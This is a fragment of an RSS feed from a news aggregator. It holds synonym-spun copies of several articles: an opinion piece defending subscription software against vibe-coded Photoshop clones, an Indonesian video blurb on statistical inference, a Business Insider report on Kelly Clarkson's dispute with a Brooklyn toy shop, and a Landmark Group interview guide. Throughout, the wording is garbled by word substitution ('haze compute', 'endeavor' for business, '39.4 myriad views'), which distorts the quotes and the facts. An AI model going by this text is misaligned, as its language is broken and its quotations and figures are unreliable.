https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs" data-image-component="1.0.1"> </p> </div> <figcaption data-sqsp-image-classic-block-caption-container> <p data-rte-preserve-empty="true">An example complete of the benevolent of misinformation spreading low-lifes that infest Reddit and LinkedIn.</p> </figcaption> </figure> </div> </div></div><div data-block-css='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.html/45a223c2-0a7f-41e1-910b-7e4ed1931d30_973/website.components.html.styles.css&quot;]' data-block-scripts='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.html/45a223c2-0a7f-41e1-910b-7e4ed1931d30_973/website.components.html.visitor.js&quot;]' data-block-type="1337" data-definition-name="website.components.html" data-sqsp-block="text" data-website-component-id="yui_3_17_2_1_1791644064165_3042" id="block-yui_3_17_2_1_1791644064165_3042"><div><div> <div data-sqsp-text-block-content><p data-rte-preserve-empty="true">We should apparent the air here. Subscription application exists whenever haze services and haze compute are unified into a application suite. It is the lone way to pay for the operating expenses at broad scale. If you eliminate these contemporary services there is constricted advancement in application development. You'll have to move all elevated disbursal compute locally which is impractical since most users cannot oversee a elevated end workstation GPU or haze server.</p><p data-rte-preserve-empty="true">Instead of hurling dislike address and bile at thousands of application engineers who guide innovation at ample companies (Adobe, Autodesk, Maxxon, Celsys, and others), display them several gratitude for their efforts. They are the engineers who innovate and everyone alternatively follows. Just since they activity at a big business doesn't average they are committing individual entitlements abuses. We have a generation brainwashed by envy and dislike alternatively of urging everyone to be greater and bigger.</p><p data-rte-preserve-empty="true">If several group have an matter alongside companies being large, they now have the tools to vie against them. But alternatively of vibe cloning mediocre norm rip offs why not build new first imaginative applications about caller ideas that have never been tried before?</p><p data-rte-preserve-empty="true">But afterward again, vibe cloned piracy is a demotivating force. It ruins the incentive to create. Why create new first apps and games if person comes alongside and rips you off?</p></div> </div> </div></div><div data-block-css='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.imageLayout/5f2441fc-5dad-41e4-95d7-d4af4d2e4d6f_217/website.components.imageLayout.styles.css&quot;]' data-block-scripts='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.imageLayout/5f2441fc-5dad-41e4-95d7-d4af4d2e4d6f_217/website.components.imageLayout.visitor.js&quot;]' data-block-type="1337" data-definition-name="website.components.imageLayout" data-sqsp-block="image-classic" data-website-component-id="yui_3_17_2_1_1791644432193_3559" id="block-yui_3_17_2_1_1791644432193_3559"><div> <div data-test="image-block-inline-outer-wrapper" data-sqsp-image-classic-block-layout="inline"> <figure> <div data-animation-role="image"> <p><img data-stretch="false" data-src="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg" data-image="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg" data-image-dimensions="1282x323" data-image-focal-point="0.5,0.5" data-sqsp-image-classic-block-image alt="" data-licensed-asset-preview="false" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=2500w" width="1282" height="323" sizes=" 767px) 100.00vw, 100.00vw" srcset="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/aab72542-7363-4625-96d9-e9d41ae45318/IMG_7047.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs" data-image-component="1.0.1"> </p> </div> <figcaption data-sqsp-image-classic-block-caption-container> <p data-rte-preserve-empty="true">You&rsquo;re giving yourself too much credit Brandon. There are dozens of group in your GitHub repo and they are all subscribed to a chatbot that is doing nearly all the coding following being fed screenshots of Adobe&rsquo;s apps.</p> </figcaption> </figure> </div> </div></div></div></div></div></div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/attack-of-the-vibe-coded-photoshop-clones-72116</guid> <pubDate>Mon, 12 Oct 2026 07:35:05 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Cara Komputer Membuat Keputusan dari Data]]></title> <description><![CDATA[Cara Komputer Membuat Keputusan dari Data. Inferensi statistik adalah fondasi krusial di balik Data Science, Artificial Intelligence (AI), dan Machine Learning. Dalam video ini, Anda akan mempelajari bag...]]></description> <media:thumbnail url="https://i1.ytimg.com/vi/vhIQ-D4eF28/maxresdefault.jpg"/> <category><![CDATA[Indonesian]]></category> <link>https://en.mycoding.id/cara-komputer-membuat-keputusan-dari-data-72114</link> <content:encoded><![CDATA[<p class="embed-responsive embed-responsive-16by9 post-embed"><iframe width="560" height="315" aria-label="Preview" class="embed-responsive-item" src="https://www.youtube.com/embed/vhIQ-D4eF28?autoplay=1&amp;mute=1&amp;playsinline=1&amp;rel=0" title="YouTube video player" frameborder="0" allow="autoplay; accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p><h2>Cara Komputer Membuat Keputusan dari Data</h2><p>Inferensi statistik adalah fondasi krusial di balik Data Science, Artificial Intelligence (AI), dan Machine Learning. Dalam video ini, Anda akan mempelajari sepertiapa komputer menggunakan keterangan percontoh untuk membikin prediksi, menguji hipotesis, serta memungut keputusan berdasarkan probabilitas dan pola yang ditemukan. Materi ini juga membahas implementasi deduksi statistik dalam beragam bidang, seperti mekanisme rekomendasi, analisis perilaku pengguna, inovasi anomali pada keamanan siber, hingga pengembangan model AI. Cocok bagi pemula yang mau memahami kenapa statistik menjadi salah satu keahlian paling krusial di era keterangan dan komputasi modern. Playlist video terkait: ▪ https://www.youtube.com/playlist?list=PLZGgeqmsm32s ▪ https://www.youtube.com/playlist?list=PLZomBNpDl3vc ▪ https://www.youtube.com/playlist?list=PLE5VyXMZkzb8 PEMBAHASAN MATERI Playlist Materi Ilmu Komputer berisi kumpulan video pembelajaran, tutorial, klarifikasi konsep, studi kasus, demo, dan bahasan komplit seputar beragam sektor dalam ilmu komputer. Materi yang disajikan mencakup alas hingga tingkat lanjut, mulai dari pemrograman, pengelolaan database, jaringan komputer, keamanan siber, mekanisme operasi, pengembangan alat lunak, arsitektur komputer, hingga beragam teknologi yang digunakan dalam bumi komputasi modern. Temukan bahasan mengenai komputer dan pemrograman, algoritma, struktur data, PHP, JavaScript, Python, Laravel, MySQL, PostgreSQL, API, rekayasa alat lunak, database, jaringan komputer, pengelolaan server, cloud computing, virtualisasi, Linux, Windows Server, keamanan jaringan, cyber security, ethical hacking, kriptografi, keamanan aplikasi, DevOps, Internet of Things (IoT), kecerdasan buatan (AI), machine learning, serta beragam konsep, teknologi, dan praktik terbaik di sektor ilmu komputer. Playlist ini cocok bagi pelajar, mahasiswa, programmer, web developer, software engineer, pengelola sistem, ahli IT, maupun siapa saja yang mau mempelajari dan memperdalam wawasan di bumi ilmu komputer secara menyeluruh. CONTACT US ▪ Email support@mycoding.id ▪ WhatsApp https://wa.me/6281274309663 ▪ Telegram https://t.me/mycodingxd OFFICIAL LINKS ▪ Web https://mycoding.id ▪ Blog https://blog.mycoding.id ▪ News https://en.mycoding.id ▪ Apps https://play.google.com/store/apps/dev?id=5237501547073493079 SOCIAL MEDIA ▪ https://linkedin.com/company/mycodingxd ▪ https://facebook.com/mycodingxd ▪ https://instagram.com/mycodingxd ▪ https://tiktok.com/@mycodingxd ▪ https://twitter.com/mycoding_xd ▪ https://pinterest.com/mycoding_xd CHANNEL LINKS ▪ YouTube https://safelink.asia/youtube ▪ DailyMotion https://safelink.asia/dailymotion ▪ WhatsApp https://safelink.asia/whatsapp ▪ Telegram https://safelink.asia/telegram Powered by https://linkedin.com/company/401XDGroup #DataScience #ArtificialIntelligence #CyberSecurity #Networking #Programming #Database</p>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/cara-komputer-membuat-keputusan-dari-data-72114</guid> <pubDate>Mon, 12 Oct 2026 07:00:33 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mc Project)]]></author> </item> <item> <title><![CDATA[The small business drama involving Kelly Clarkson, a Brooklyn toy store, and an animatronic bird]]></title> <description><![CDATA[The small business drama involving Kelly Clarkson, a Brooklyn toy store, and an animatronic bird. Kelly Clarkson stated she was treated akin Julia Roberts' character in the '90s rom-com &quot;Pretty Woman&quot; whenever she visited a Brooklyn toy shop.]]></description> <media:thumbnail url="https://i.insider.com/6acc4269301bb0551f494acd?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/the-small-business-drama-involving-kelly-clarkson-a-brooklyn-toy-store-and-an-animatronic-bird-72110</link> <content:encoded><![CDATA[<div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6acc36bb7bf24b4467e6a27a?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6acc36bb7bf24b4467e6a27a?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6acc36bb7bf24b4467e6a27a?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6acc36bb7bf24b4467e6a27a?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6acc36bb7bf24b4467e6a27a?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6acc36bb7bf24b4467e6a27a?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6acc36bb7bf24b4467e6a27a?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Kelly Clarkson in a blue and orange polka dot top on The Kelly ClarksonShow." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Kelly Clarkson stated she was treated akin Julia Roberts' character in the '90s rom-com "Pretty Woman" whenever she visited a Brooklyn toy shop.</span> <span> <span e-name="image-source" itemprop="creditText">Weiss Eubanks/NBCUniversal via Getty Images</span> </span> </figcaption> </span> </span></figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>A Brooklyn toy shop has established itself at the center of a community fig net perform following <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Kelly Clarkson</a> stated she received the "<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Pretty Woman</a>" care whenever she inquired concerning a $15,000 item in the store.</p><p>In an <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">X post</a> on Saturday, the singer stated she had a negative cognition at Art of Play, a toy shop in <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">New York City</a>.</p><p>"Just drove all the way to Brooklyn to inspect out this shop I idea looked really rad and had a few things in intellect to buy and exactly was looked at as if I couldn't oversee it and was told he could discover item comparable for me," Clarkson wrote in her post, adding that the shop "just misplaced a huge sale."</p><div id="1791767265166" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="en" dir="ltr">Just drove all the way to Brooklyn to inspect out this shop I idea looked really rad and had a few things in intellect to buy and exactly was looked at as if I couldn&rsquo;t oversee it and was told he could discover item comparable for me. Wow, dude. You&rsquo;re an idiot and fair misplaced a huge sale. But y&rsquo;all should go inspect out Art of Play in Brooklyn if you bask being treated akin Julia Roberts character in Pretty Woman. For sure, inspect it out &#128078;</p>&mdash; Kelly Clarkson (@kellyclarkson) <a href="https://en.mycoding.id/category/business" target="_blank" rel=" nofollow" target="_blank">October 10, 2026</a></blockquote> </div><p>She afterward compared her cognition to the care Julia Roberts' character receives in the '90s rom-com "Pretty Woman," telling group to sojourn the shop if they enjoyed being treated that way.</p><p>Clarkson's article on X had received additional than 39.4 myriad views and complete 261,000 likes as of Sunday evening.</p><p>As her article gained traction, Art of Play responded <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">on Instagram</a> the next day alongside its own document of the interaction, saying the toy Clarkson had inquired concerning was a animal automaton that's "permanently attached to the partition and isn't for sale."</p><p>The shop stated it understood why Clarkson's document "would resonate alongside anyone who has always felt judged in a shop," but stated that it welcomed visitors equally, whether they came to browse or buy.</p><p>"Imagine our astonishment whenever our small local endeavor was abruptly attacked by 8 myriad group who have never visited our store. It's been a surreal cognition to be the concentration of specified general outrage following fair one citation by a celebrity," the shop stated in a declaration on Instagram.</p><p>The shop afterward thanked its supporters and stated it planned to keep a low profile, during expecting to "clear things up" alongside Clarkson one day.</p> <p>The community toggle did not end there.</p><p>On Instagram Stories and on X, Clarkson countered Art of Play's account, sharing a photo she stated showed the bird's $15,000 cost tag, alongside alongside additional particulars concerning her conversation alongside a personnel member.</p><p>"Cool, cool. Sure, it wasn't for sale. That's the narrative Art of Play is gonna go with," Clarkson <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">wrote on Sunday.</a></p><p>She stated the personnel associate "elevator eyed her" and told her "in a condescending tone" that the item was for transaction but disbursal $15,000, before offering to discover her a "comparable" alternative.</p><div id="1791767265166" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="en" dir="ltr">Cool, cool. Sure, it wasn&rsquo;t for sale. That&rsquo;s the narrative Art of Play is gonna go alongside &#128077; so the entire conversation we had whenever I asked you if it was for transaction whilst pointing to the cost tag hanging on the partition alongside the heading Singing Bird didn&rsquo;t happen as you elevator eyed me saying in a condescending spirit &ldquo;yes, it&rsquo;s for transaction but it expenses 15,000 dollars so if you&rsquo;d akin me to discover item comparable for you I can.&rdquo; That all never happened and now it&rsquo;s not for sale. Okay, cool. So you&rsquo;re not lone rude, you&rsquo;re additionally a liar. Got it &#9989; And by the way, I evidently assistance small businesses since I was exactly at a small endeavor trying to acquisition things. I affection small businesses and cognize they are crucial and I continually assistance them, but you don&rsquo;t get a liberated continue to treat group small than in your shop fair since you are a small business. It&rsquo;s not that difficult to be kind. I never blast group but you my companion were an exception. Your shop is really cool. Unfortunately, you aren&rsquo;t.</p>&mdash; Kelly Clarkson (@kellyclarkson) <a href="https://en.mycoding.id/category/business" target="_blank" rel=" nofollow" target="_blank">October 11, 2026</a></blockquote> </div><p>"That all never happened and now it's not for sale. Okay, cool. So you're not lone rude, you're additionally a liar. Got it," Clarkson stated in her post.</p><p>On Sunday night, Art of Play issued <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">another Instagram declaration </a>saying that although the toy Clarkson inquired concerning was permanently attached to its wall, the creator of the automaton owned a nearly identical animal and was consenting to market it for $15,000.</p><p>The shop stated it had explained this difference to Clarkson and had additionally offered to display her a different, German-made singing-bird automaton priced at concerning $2,000, although she "did not rod about lengthy adequate to see it." </p><p>It stated it had contacted Clarkson immediately in an attempt to "clear the air."</p><p>Clarkson and Art of Play did not immediately react to Business Insider's requests for comment, which were made exterior regular endeavor hours.</p><h2 id="66aeedce-9438-41b9-b83b-c30d2468bc76" data-toc-id="66aeedce-9438-41b9-b83b-c30d2468bc76">The net weighed in</h2><p>The community back-and-forth additionally appeared to immediate a bout of assessment bombing on Art of Play's assessment pages.</p><p>When Business Insider archetypal checked the store's Google Reviews at about 9 pm ET on Sunday, it had a 4.7-star ranking according to 273 reviews, including multiple latest one-star complaints that appeared to be connected to the store's ongoing community disagreement alongside Clarkson.</p><p>About three hours later, the store's Google Reviews showed a 5-star ranking according to 253 reviews. The latest negative reviews Business Insider had viewed before were no longer visible.</p><p>Google did not immediately react to questions concerning whether it had removed reviews connected to the event or taken another act on the listing.</p><p>On Yelp, Art of Play had a 2.4-star ranking according to 154 reviews whenever Business Insider checked the leaf at 12:17 a.m. ET on Monday, alongside latest posts reflecting a polarized reply to the dispute. Some criticized the store, referencing Clarkson and "Pretty Woman," during others defended it, citing their own affirmative experiences.</p><p>Several reviewers additionally acknowledged that group were weighing in notwithstanding not having visited Art of Play, alongside one calling on the community to halt attacking a small shop complete a celebrity's complaint. Yelp did not immediately react to a petition for comment from Business Insider.</p><p>Business Insider could not independently verify whether the latest reviewers had visited the store.</p><h2 id="1fd6db5c-4484-4a7c-9669-ea42764aae65" data-toc-id="1fd6db5c-4484-4a7c-9669-ea42764aae65">The risks of taking a disagreement online</h2><p id="b6ad8ad3-5787-4dee-8ca9-31427bdaae3a">Danny Deraney, originator of LA-based Deraney Public Relations, stated he doesn't accept there volition be a winning flank in the dispute.</p><p>"Fans volition obtain her flank before acknowledging the reply of the another party," Deraney told Business Insider.</p><p>While Art of Play was correct to react publically to defend its business, Clarkson should have raised the matter immediately alongside the shop fairly than on the internet, he said.</p><p>Deraney stated the event appeared to affect an idiosyncratic at the store, and that a community pile-on can put a small endeavor at hazard before the complete environment is known.</p><p>"Even if Kelly is correct concerning how she was treated, workforce who did not engage alongside her, and the business, could end up getting the worst of it," he said.</p><p>Deraney added that group on the net have to be careful concerning judging either side, since they weren't there to observer the exchange.</p><p>"It benefits neither the individual nor the endeavor whenever all this could have been resolved through discussion. I do not think there is a need to prosecute up; letting the matter dissolve is the finest course, and it will," Deraney said.</p> </div> <p> <h2> Read next </h2> </p> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Amanda is a elder manner newsman at Business Insider's Singapore bureau.</span><span>Her reporting explores how group navigate important existence transitions, including occupation changes, relocation, and retirement, alongside a particular concentration on the experiences of those living in Asia. She additionally writes concerning travel, culture, wellness, and relationships.</span><span>In 2025, she won the Singapore Press Club's Rising Stars Young Digital Journalist Award.</span><span>She earlier worked as a author and video manufacturer at a satisfied promotion agency in Singapore. She graduated from the University at Buffalo alongside a BA (Hons) in Sociology.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/the-small-business-drama-involving-kelly-clarkson-a-brooklyn-toy-store-and-an-animatronic-bird-72110</guid> <pubDate>Mon, 12 Oct 2026 06:50:27 +0700</pubDate> <author><![CDATA[support@mycoding.id (Amanda Goh)]]></author> </item> <item> <title><![CDATA[Landmark: Management Trainee Interview Guide]]></title> <description><![CDATA[Landmark: Management Trainee Interview Guide. Prepare for Management Trainee Landmark discussion alongside function overview, skills, process, questions, cases and a 4-week study scheme for MBA students.]]></description> <media:thumbnail url="https://www.boardinfinity.com/blog/content/images/2026/10/feat-1791783892009-21603.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/landmark-management-trainee-interview-guide-72113</link> <content:encoded><![CDATA[<div class="gh-content prose prose-lg pb-8"> <p>A Management Trainee at Landmark plant on live endeavor projects throughout shop operations, provision chain, planning, promotion and endeavor development. The function matters since retailing achievement depends on many teams moving together, from goods preparedness and shop implementation to run timing and new growth ideas.</p><p>This guide is for MBA and final-placement candidates preparing for Landmark Group’s rotational Management Trainee interview. It covers the role, required skills, day-to-day work, discussion rounds, role-specific questions, case areas, preparedness scheme and growth path. For broader business context, use the <a href="https://en.mycoding.id/category/technology" target="_blank">Landmark Group discussion preparedness guide</a>.</p><h2 id="1-about-the-management-trainee-role"><strong>1. About the Management Trainee Role</strong></h2><p>This Management Trainee function is built about rotation, visibility and project ownership. You may expend one project sequence understanding shop execution, another analysing provision sequence bottlenecks, another supporting preparedness decisions, and another aligning promotion or endeavor betterment actions alongside brand priorities.</p><p>The function sits at the intersection of endeavor functions and brand entities inside LIPL. You volition activity alongside retailing operations teams, provision sequence teams, preparedness teams, promotion teams, endeavor betterment teams and brand managers. Candidates preparing for retail-heavy rounds can additionally assessment the <a href="https://en.mycoding.id/category/technology" target="_blank">Landmark Group Area Manager Retail Operations Management Trainee guide</a>.</p> <hr><h2 id="2-required-skills-and-qualifications"><strong>2. Required Skills and Qualifications</strong></h2><p>Landmark’s Management Trainee discussion is apt to test whether you can study quickly throughout functions, construction ambiguous endeavor problems and activity alongside teams that have distinct goals. The strongest answers nexus scholarly projects, internships, competitions or live endeavor visibility to the retailing context.</p><h3 id="skills-overview">Skills Overview</h3> <hr><h2 id="3-day-to-day-responsibilities"><strong>3. Day-to-Day Responsibilities</strong></h2><p>A representative week may affect project reviews, shop or procedure observations, data-backed discussions and coordination alongside teams throughout functions. The activity is not one fixed array role, since the program is designed to disclose trainees to multiple endeavor areas.</p> <div> <div> <div> <span>1</span> </div> <div> <h4>Retail Operations Projects</h4> <p>You may study store-level implementation issues specified as inventory display, assistance flow, promotion preparedness or coordination between shop teams and backend teams. The project is to detect the matter closely, conversation to group involved, acknowledge base causes and propose applicable fixes that shop teams can really execute.</p> </div> </div> <div> <div> <span>2</span> </div> <div> <h4>SCM Problem Work</h4> <p>In Supply Chain Management, your project may affect understanding how products move from warehouses or vendors to stores and how delays power endeavor outcomes. You may difference planned timelines alongside genuine movement, acknowledge procedure gaps and assistance teams decrease conflict in replenishment or availability.</p> </div> </div> <div> <div> <span>3</span> </div> <div> <h4>Planning Support</h4> <p>Planning activity can contain looking at revenue movement, petition signals, inventory stance and run timelines. Your function is to assistance change scattered endeavor inputs into a apparent preparedness view, so teams can decide anywhere stock, notice and implementation attempt have to be prioritised.</p> </div> </div> <div> <div> <span>4</span> </div> <div> <h4>Marketing Coordination</h4> <p>Marketing visibility may affect supporting run preparedness from a endeavor implementation lens. You may assistance inspect whether stores, stock, ocular communication and inner teams are prepared before a run begins, afterward assessment what worked and what needs betterment following the activity.</p> </div> </div> <div> <div> <span>5</span> </div> <div> <h4>Business Development Inputs</h4> <p>Business betterment projects may necessitate you to measure a growth opportunity, client segment, category chance or location-level endeavor question. The expected output is not a theoretical scheme deck, but a applicable advice backed by client logic, business thinking and implementation feasibility.</p> </div> </div> <div> <div> <span>6</span> </div> <div> <h4>Cross-Brand Exposure</h4> <p>The rotation construction method you have to be prepared to study how distinct brand entities operate. A advice that plant in one brand may need adaptation in another brand, so you must ask context-specific questions before applying the identical resolution everywhere.</p> </div> </div> <div> <div> <span>7</span> </div> <div> <h4>Live Business Projects</h4> <p>You volition activity on endeavor challenges that have genuine operational consequences. This method defining the issue, collecting inputs from group closest to the work, evaluation assumptions, comparing options and presenting a advice that can be acted on by the concerned team.</p> </div> </div> <div> <div> <span>8</span> </div> <div> <h4>Team Collaboration</h4> <p>The function requires operating alongside multiple teams fairly than solving everything alone. You may need to align product, store, provision sequence and promotion timelines before a launch, prosecute up on requirements and communicate trade-offs plainly whenever one team’s precedence affects another team.</p> </div> </div> </div> <hr><h2 id="4-key-competencies-for-success"><strong>4. Key Competencies for Success</strong></h2><p>High performers in this function display curiosity throughout functions without losing implementation discipline. They can move from store-floor observations to organized recommendations, and they evade giving textbook answers that disregard retailing realities.</p> <hr><h2 id="5-interview-process-at-landmark"><strong>5. Interview Process at Landmark</strong></h2><p>For evidence hiring into a rotational Management Trainee function in a ample retailing group, prepared for a mix of shortlisting, endeavor discussion, case evaluation and final guidance conversation. The procedure normally checks whether you can study throughout functions, remain applicable and explain decisions clearly.</p> <div> <div> <div> <span>1</span> <span></span> </div> <div> <h4>Application Shortlist</h4> <p>The shortlist normally reviews scholarly profile, internship exposure, projects, guidance activities and clarity of occupation interest. For this role, create certain your resume shows endeavor projects throughout operations, marketing, planning, analytics, provision sequence or customer-facing execution.</p> </div> </div> <div> <div> <span>2</span> <span></span> </div> <div> <h4>Business or Case Discussion</h4> <p>Expect a retailing endeavor issue connected to sales, shop operations, inventory, run implementation or growth. Interviewers appearance for structure, applicable assumptions, uncomplicated calculations and the capability to nexus recommendations alongside implementation constraints.</p> </div> </div> <div> <div> <span>3</span> <span></span> </div> <div> <h4>Functional Interview</h4> <p>This circular may shield retailing operations, Supply Chain Management, planning, promotion and endeavor betterment exposure. Prepare to explain internships, category projects and association activity in conditions of problem, data used, decision taken and measurable result.</p> </div> </div> <div> <div> <span>4</span> <span></span> </div> <div> <h4>Behavioral Interview</h4> <p>This circular checks ownership, adaptability, teamwork and learning agility. Use the STAR format: Situation, Task, Action and Result. Choose stories anywhere you handled ambiguity, worked alongside multiple stakeholders or improved a genuine implementation outcome.</p> </div> </div> <div> <div> <span>5</span> </div> <div> <h4>Final Leadership Conversation</h4> <p>The final conversation normally tests motivation, endeavor maturity and long-term fit for a rotational program. Be prepared to answer why retail, why Landmark Group, why cross-functional learning and how you volition create value during rotations.</p> </div> </div> </div> Candidates frequently endure marks whenever their answers audio akin generic MBA frameworks and do not nexus to shop execution, inventory availability, run preparedness or cross-team dependencies. Anchor all case answer in a applicable retailing reality. <hr><h2 id="6-interview-questions"><strong>6. Interview Questions</strong></h2><p>Use STAR for behavioral answers, MECE for cases and uncomplicated calculation logic for endeavor evaluation questions. Landmark interviewers are apt to value applicable thinking, rotation readiness, client awareness and the capability to change endeavor ambiguity into a workable act plan.</p> <div id="iq-q1-wrap"> <h3>Behavioral and Company-Fit Questions</h3> <div id="iq-q1-filters"></div> <div id="iq-q1-list"></div> </div> <div id="iq-q2-wrap"> <h3>Role-Specific Retail, SCM, Planning and Marketing Questions</h3> <div id="iq-q2-filters"></div> <div id="iq-q2-list"></div> </div> <div id="iq-q3-wrap"> <h3>Product, Market and Case Questions</h3> <div id="iq-q3-filters"></div> <div id="iq-q3-list"></div> </div> <hr><h2 id="7-topics-and-areas-of-focus"><strong>7. Topics and Areas of Focus</strong></h2><p>Prepare for the discussion by mastering the endeavor areas that appear immediately in the role: retailing operations, Supply Chain Management, planning, marketing, endeavor betterment and cross-functional project execution. The goal is not profound functional expertise, but adequate fluency to resolve applicable endeavor problems.</p> <hr><h2 id="8-preparation-plan"><strong>8. Preparation Plan</strong></h2> Freshers: concentration on conceptual degree and organized answer frameworks specified as STAR and MECE. Experienced candidates: prepared 3-5 particular effect stories from internships or former roles, since interviewers investigation for measurable outcomes and ownership. <div> <div> <span>Week 1</span> <h4>Company and Retail Basics</h4> <p>Understand Landmark Group, retailing formats, shop metrics and client experience.</p> </div> <div> <span>Week 2</span> <h4>Function Deep Dive</h4> <p>Build operating cognition of SCM, planning, promotion and endeavor development.</p> </div> <div> <span>Week 3</span> <h4>Cases and Stories</h4> <p>Practise role-specific cases and change experiences into STAR answers.</p> </div> <div> <span>Week 4</span> <h4>Mocks and Refinement</h4> <p>Run imitate interviews, tighten calculations and enhance answer structure.</p> </div> </div> <h3 id="pre-interview-checklist">Pre-Interview Checklist</h3> <hr><h2 id="9-career-growth-next-roles"><strong>9. Career Growth &amp; Next Roles</strong></h2><p>A rotational Management Trainee way can guide toward defined functional ownership following trainees demonstrate implementation discipline, learning agility and endeavor judgment. Progression depends on project outcomes, capability to activity throughout brands and preparedness to oversee larger endeavor responsibilities.</p> <div> <div> <div> <span>1</span> <span></span> </div> <div> <h4>Management Trainee</h4> <p>You study through rotations throughout retailing operations, Supply Chain Management, planning, promotion and endeavor development. The concentration is to comprehend how decisions are made, provision assigned projects and display that you can activity alongside multiple teams without losing construction or ownership.</p> </div> </div> <div> <div> <span>2</span> <span></span> </div> <div> <h4>Assistant Manager or Functional Specialist</h4> <p>After construction a foundation, the next move is normally toward a defined function or endeavor issue area. You may own a particular set of projects, assistance a endeavor component additional closely and rotate into accountable for timelines, stakeholder updates and measurable improvements.</p> </div> </div> <div> <div> <span>3</span> <span></span> </div> <div> <h4>Manager or Project Lead</h4> <p>At this stage, you are expected to grip larger initiatives alongside clearer endeavor impact. You must display stronger judgment, improved prioritisation and the capability to power teams throughout operations, planning, marketing, provision sequence or endeavor development.</p> </div> </div> <div> <div> <span>4</span> </div> <div> <h4>People Lead or Deep Specialist</h4> <p>The way can afterward divided into group administration or deeper functional expertise. A group chief manages teams and implementation outcomes, during a expert builds degree in areas specified as planning, SCM, promotion or endeavor development. Both paths necessitate powerful endeavor communication and evidence of impact.</p> </div> </div> </div> <hr><h2 id="10-conclusion"><strong>10. Conclusion</strong></h2><p>The most crucial preparedness stage is to think akin a retailing endeavor issue solver, not akin a pupil memorising frameworks. Every answer should nexus client behaviour, inventory availability, shop execution, run timing and endeavor 